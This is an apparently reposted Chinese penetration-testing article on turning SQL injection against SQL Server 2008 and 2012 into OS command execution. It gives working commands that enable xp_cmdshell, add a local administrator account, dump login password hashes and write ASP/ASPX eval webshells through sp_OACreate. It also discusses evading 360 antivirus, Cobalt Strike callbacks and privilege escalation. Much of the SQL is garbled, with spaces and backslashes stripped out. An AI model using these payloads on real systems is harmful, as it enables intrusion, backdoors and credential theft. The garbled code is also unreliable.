1 sql server執行os-shell
條件:數據庫權限必須是dba權限可利用sql-shll進行命令執行,部分常用ql語句:
查看版本:SELECT @@version 查看連接用戶: SELECTORIGINAL_LOGIN(),APP_NAME(),CONNECTIONPROPERTY('CLIENT_NET_ADDRESS'),CONNECTIONPROPERTY('PROTOCOL_TYPE') 查詢所有數據庫名稱 selectnamefrommaster.dbo.sysdatabases; 查看用戶hash: selectname,sys.fn_varbintohexstr(password_hash)fromsys.sql_logins 查看數據庫賬號密碼: selectname,sys.fn_varbintohexstr(password_hash)frommaster.sys.sql_logins; 查看數據庫中表名: SELECTSysObjects.nameASTablenameFROMsysobjectsWHERExtype='U'andsysstat<200 exec?xp_dirtree?'c:'????????#?列出所有c:文件、目錄、子目錄exec?xp_dirtree?'c:',1??????#?只列c:目錄 exec?xp_dirtree?'c:',1,1????#?列c:目錄、文件 exec?xp_subdirs?'C:';???????#?只列c:目錄 select?is_srvrolemember('sysadmin')?#?判斷是否是SA權限 select?is_member('db_owner')????????#?判斷是否是db_owner權限 select?is_srvrolemember('public')???#?判斷是否是public權限 創建用戶: exec?master..xp_cmdshell?"net?user?test12?123.com?add" exec?master..xp_cmdshell?"net?localgroup?administrators?test12?add" exec?master..xp_cmdshell?"net?user?test12" 讀取文檔內容 create?table?files(line?varchar(1024)) bulk?insert??files?from?'C:inetpubaa.asp' select?*?from?files
默認新建的用戶只有public權限, sqlserver數據庫進行os-shell執行,主要是利用開啟xp_cmdshell進行命令執行,通過命令執行查看,返回結果為1,說明是存在xp_cmdshell,該命令只能證明是否存在xp_cmdshell,并不能證明可執行xp_cmdshell
selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell'
![5fbea392-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fiAdZN8AAA4En_EjNk330.png)
1.1針對sqlserver2008測試
1.1 當前用戶不是dba
在當前用戶不為dba情況,利用sqlmap執行os-shell,提示如下:
非dba權限的用戶即使在開啟xpcmdshell的情況下也無法進行命令執行,提示沒有權限:
dba權限在未開啟cmdshell情況下執行命令提示如下:當非dba權限嘗試開啟cmdshell時提示沒有該操作權限:
所以這就是為什么在我們發現sql注入的時候,如果當前用戶不是dba權限的情況下無法進行命令執行。
1.2 當前用戶為dba
在進行注入時,如果當前用戶為dba,可嘗試利用如下命令手動開啟xpcmd_shell
EXECsp_configure'showadvancedoptions',1; RECONFIGURE; EXECsp_configure'xp_cmdshell',1; RECONFIGURE;
接下來分析下sqlmap如何去檢測和開啟xp_cmdshell,通過抓取數據包發現,開啟cmdshell命令如下:
;EXECmaster..sp_configure'SHOWadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'SHOWadvancedoptions',0;RECONFIGUREWITHOVERRIDE--
當嘗試利用os-shell無法開啟時,可嘗試利用sql-shell開啟,xpcmd_shell,本次在測試時發現,直接在sql-shell中執行上述4條開啟的語句無法開啟成功,可嘗試拼接sql語句進行開啟
selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell';EXECmaster..sp_configure'SHOWadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'SHOWadvancedoptions',0;RECONFIGUREWITHOVERRIDE--查詢語句為查看xpcmd_shell組件的命令,執行語句后返回結果1,即為查詢成功:
判斷是否存在站庫分離:
selecthost_name();//主機名 select@@servername;//服務器名 //如果相同則代表數據庫和web在同一臺機器上面執行后發現返回的服務器名稱相同,可見未進行站庫分離,如下圖:
即使主機上安裝有360等安全設備,執行該命令后,也可以將xpcmd_shell組件開啟,通過測試發現,主機上殺毒軟件攔截只有在調用xpcmd_shell進行命令執行時才會進行攔截
1.3 xpcmd_shell為什么無法執行命令
在沒有防護的情況下,可利用sqlmap正常開啟xpcmd_shell進行命令執行,但是很多情況下會發現 無法進行命令執行,sqlmap提示如下:
此時可能原因是對服務器上安裝有安全軟件,本次測試在測試環境中安全了360安全軟件,可在調用xpcmd_shell組件時,被安全軟件攔截
思路一:如果在已知sqlserver賬戶密碼的情況下,利用navicat連接數據庫進行手動寫入shell:開啟sp_OACreate組件
EXECsp_configure'showadvancedoptions',1; RECONFIGUREWITHOVERRIDE; EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE; EXECsp_configure'showadvancedoptions',0;
利用文件存儲先寫入文件:
declare@oint,@fint,@tint,@retint execsp_oacreate'scripting.filesystemobject',@oout execsp_oamethod@o,'createtextfile',@fout,'c:inetpubaa.asp',1 exec@ret=sp_oamethod@f,'writeline',NULL,'<%execute(request("a"))%>'
![6128e1ac-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fmAH9VEAADLaY-iqPk898.png)
可成功在c盤inetpub路徑下寫入aa.asp文件,shell的寫入路徑可利用execute master..xp_dirtree命令進行查找
executemaster..xp_dirtree'c:/inetpub/test/',1,1
利用上述方法的前提是在已經知道sqlsever數據庫的的管理賬號密碼,可利用--passwords 參數查看。思路二:假如未能成功登錄,可先通過查看網站路徑,在寫入shell方式,步驟如下:1、新建tmp表格,并將master..xp_dirtree的存儲結果保存到表格中,命令如下:
CREATETABLEtmp(dirvarchar(8000),numint,num1int);insertintotmp(dir,num,num1)executemaster..xp_dirtree'c:',1,1;可在sql-shell中執行,執行效果如下:
![617a9218-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fqANV32AAEQF8njH9c027.png)
也可通過注入點直接執行,執行效果如下:
![61abaf92-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fqAFvqKAACwgLmXtvc487.png)
直接在sql-shell中執行命令查看結果:select * from test.tmp
![61c77682-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fqABsQjAAHdaRtD3os722.png)
可發現存在inetpub目錄,接著在查看改目錄下文件,為了防止目錄過多,可嘗試刪除之前tmp在重新表格,存儲新目錄下的數據,刪除表格直接執行drop table tmp,可在利用select 查詢重新確定下是否刪除成功。新建表格命令如下:
CREATETABLEtmp(dirvarchar(8000),numint,num1int);insertintotmp(dir,num,num1)executemaster..xp_dirtree'c:/inetpub/',1,1;
![62229dfa-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fqAdk0SAAEs6LptNEM310.png)
在用select命令進行查看,
![6263f4b2-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fqAUZTfAACMc8CWe98470.png)
利用該方法慢慢找到網站的路徑,可能就是比較慢,通過測試發現該種方法是不會被主機上的殺軟攔截的。找到根目錄后用Scripting.FileSystemObject中CreateTextFile和WriteLine來實現寫入webshell,sql-shell執行命令如下,前提時先開啟sp_OACreate,開啟腳本如下:
EXECsp_configure'showadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'showadvancedoptions',0;
寫入shell腳本:
declare@fint,@gint;execsp_oacreate'Scripting.FileSystemObject',@foutput;EXECSP_OAMETHOD@f,'CreateTextFile',@fOUTPUT,'c:inetpub est est.aspx',1;EXECsp_oamethod@f,'WriteLine',null,'<%@?Page?Language="Jscript"%><%var?a?=?"un";var?b?=?"safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'可成功寫入一句話木馬,如下圖:
![6283280a-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fqAeCqrAALFA4HnxJE857.png)
利用蟻劍可成功連接shell
![62a9611e-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fqAM27lAABrHAEiKqw589.png)
只是此時權限較低,是iis權限需要進行進一步提權。在進行提權時系統安裝360可能不能成功,此時可嘗試低權限上線cs,然后利用cs提權,需要進行360繞過,也可采用sqlserver的sqlps.exe文件進行命令執行,不管時利用哪種方式,此時考察的就是免殺能力了。
1.2 sqlserver 2012測試
之前驗證了sqlserver 2008如何通過sql注入獲取系統shell,主要是通過調用xpcmd_shell,但是當服務器上存在殺毒軟件時無法進行開啟,此時可嘗試sql-shell,尋找網站目錄,然后寫入一句話木馬的方式,只是寫入的shell權限比較低,接下來嘗試利用sqlserver2012進行測試。
1.2.1 無殺軟執行xpcmd_shell
sqlserver2012默認cpcmd_shell也是關閉的,當服務器主機不存在殺軟時,可直接執行os-shell,進行命令執行。
此時可通過執行pwershell直接上線cs,但是此時上線的權限為sqlserver,可通過ms16-075進行提權到system,然后在進行后滲透即可,在不存在殺軟的情況下相對比較順利,接下來看下如何繞過殺軟上傳shell。
1.2.2繞過殺軟上傳shell
主機上安裝360,直接通過sqlmap執行os-shell會被攔截,嘗試sql-shell進行命令執行,步驟和2008大致基本相同,先通過xp_dirtree慢慢找到網站路徑,在開啟sp_OACreate,最后寫入shell。
declare@oint,@fint,@tint,@retint;execsp_oacreate'scripting.filesystemobject',@oout;execsp_oamethod@o,'createtextfile',@fout,'e: est123.asp',1;exec@ret=sp_oamethod@f,'writeline',NULL,'<%@?Page?Language="Jscript"%><%var?a?=?"un";var?b?=?"safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'
可嘗試利用判斷是否寫入成功
create table sssss (line varchar(1024));bulk insert sssss from 'e: est123.asp';select * from sssss
![63aa9434-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fuAT9TlAADz2GlenJQ198.png)
![63d35770-537d-11ed-a3b6-dac502259ad0.png](https://file1.elecfans.com//web2/M00/A0/8F/wKgZomTt3fuAHaSTAACIFX1k4Iw618.png)
審核編輯:湯梓紅
-
SQL
+關注
關注
1文章
775瀏覽量
44272 -
Server
+關注
關注
0文章
93瀏覽量
24143 -
數據庫
+關注
關注
7文章
3852瀏覽量
64724 -
Shell
+關注
關注
1文章
366瀏覽量
23474
原文標題:1 sql server執行os-shell
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
labview連接SQL server方法
SQL Server精華(CHM)
數據庫與SQL Server 2005教程
Windows SQL Server 安全檢查列表
數據庫教程之SQL SERVER環境的詳細資料說明
SQL Server 2005數據庫的應用手冊
![<b class='flag-5'>SQL</b> <b class='flag-5'>Server</b> 2005數據庫的應用手冊](https://file.elecfans.com/web1/M00/82/28/pIYBAFw26NuAB0hpAAERx4XlJKE396.png)
SQL的max server memory參數應該如何設置
LABVIEW與SQL SERVER的連接方法詳細說明
![LABVIEW與<b class='flag-5'>SQL</b> <b class='flag-5'>SERVER</b>的連接方法詳細說明](https://file.elecfans.com/web1/M00/D7/14/pIYBAF_kW7OAEIA1AAJBqaUeQXQ034.png)
評論